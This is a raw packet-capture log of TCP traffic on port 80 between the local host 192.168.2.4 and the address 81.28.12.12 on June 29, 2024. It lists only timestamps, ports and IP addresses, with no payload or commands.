Jun 29, 2024 08:05:19.148652077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.148674011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.148696899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.148705959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.148715019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.148750067 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.148756981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.148792982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.148825884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.148833990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.148857117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.148858070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.148875952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.148891926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.148921967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.148925066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.148941040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.148957968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.148982048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.148992062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149012089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.149024963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149053097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.149060011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149074078 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.149106979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.149111032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149146080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149178028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149199009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.149231911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.149235010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149267912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149301052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149310112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.149310112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.149333954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149355888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.149368048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149385929 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.149400949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149420023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.149435043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149450064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.149466991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149501085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149511099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.149512053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.149533987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149548054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.149566889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149599075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149607897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.149607897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.149632931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149643898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.149678946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.149698019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149730921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149749041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.149764061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149772882 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.149797916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149816036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.149831057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149843931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.149864912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149884939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.149899006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149915934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.149931908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149952888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.149966955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.149975061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.150000095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.150012970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.150039911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.150067091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.150085926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.204025984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.204150915 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.204153061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.204186916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.204209089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.204227924 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.204236984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.204288960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.204293966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.204344988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.204377890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.204401016 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.204411030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.204442978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.204462051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.204464912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.204526901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.204560041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.204581022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.204593897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.204603910 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.204644918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.204648018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.204679012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.204695940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.204711914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.204721928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.204749107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.204758883 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.204781055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.204797029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.204814911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.204823017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.204848051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.204853058 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.204893112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.204899073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.204932928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.204950094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.204967022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.204977036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.205014944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.205015898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.205049992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.205079079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.205080032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.205105066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.205111980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.205125093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.205147028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.205154896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.205179930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.205193996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.205214024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.205248117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.205255032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.205255032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.205282927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.205291986 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.205332041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.229608059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.229665995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.229670048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.229701996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.229721069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.229743958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.229770899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.229804039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.229829073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.229839087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.229846954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.229872942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.229891062 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.229921103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.229926109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.229975939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.229975939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.230021954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.230029106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.230083942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.230098009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.230118990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.230127096 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.230151892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.230160952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.230185032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.230200052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.230233908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.236963034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.236993074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.237025023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.237051964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.237071037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.237096071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.237147093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.237164974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.237179995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.237200975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.237215042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.237241983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.237250090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.237268925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.237282038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.237297058 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.237317085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.237344027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.237351894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.237369061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.237390995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.237401962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.237451077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.237512112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.237545013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.237561941 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.237591028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.237612963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.237647057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.237659931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.237695932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.237699032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.237730980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.237750053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.237771988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.237787962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.237821102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.237844944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.237854958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.237867117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.237890005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.237926006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.237946987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.237947941 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.237972975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.237976074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238008022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238033056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.238039017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238053083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.238073111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238096952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.238106966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238140106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238168001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.238173962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238188028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.238209963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238221884 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.238244057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238254070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.238276958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238293886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.238310099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238326073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.238343954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238362074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.238378048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238380909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.238409996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238425016 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.238445997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238457918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.238478899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238492966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.238513947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238521099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.238547087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238555908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.238579988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238596916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.238626957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238645077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.238661051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238681078 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.238692999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238709927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.238727093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238738060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.238761902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238787889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.238795042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238811016 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.238828897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238847017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.238864899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238878965 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.238899946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238924980 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.238934040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238965988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.238981009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.239001036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.239022017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.239033937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.239043951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.239075899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.239084959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.239119053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.239135981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.239152908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.239165068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.239187002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.239201069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.239223957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.239237070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.239257097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.239274025 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.239289045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.239301920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.239322901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.239336014 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.239356995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.239373922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.239392042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.239402056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.239425898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.239439011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.239459038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.239475012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.239494085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.239518881 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.239537001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.239545107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.239578009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.239612103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.239664078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.239696026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.239697933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.239720106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.239729881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.239743948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.239778996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.293658018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.293716908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.293747902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.293767929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.293776035 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.293802977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.293833971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.293854952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.293868065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.293875933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.293910980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.293919086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.293952942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.293962955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.293996096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.294008970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.294029951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.294039011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.294061899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.294073105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.294116020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.294151068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.294177055 CEST	49731	80	192.168.2.4	81.28.12.12
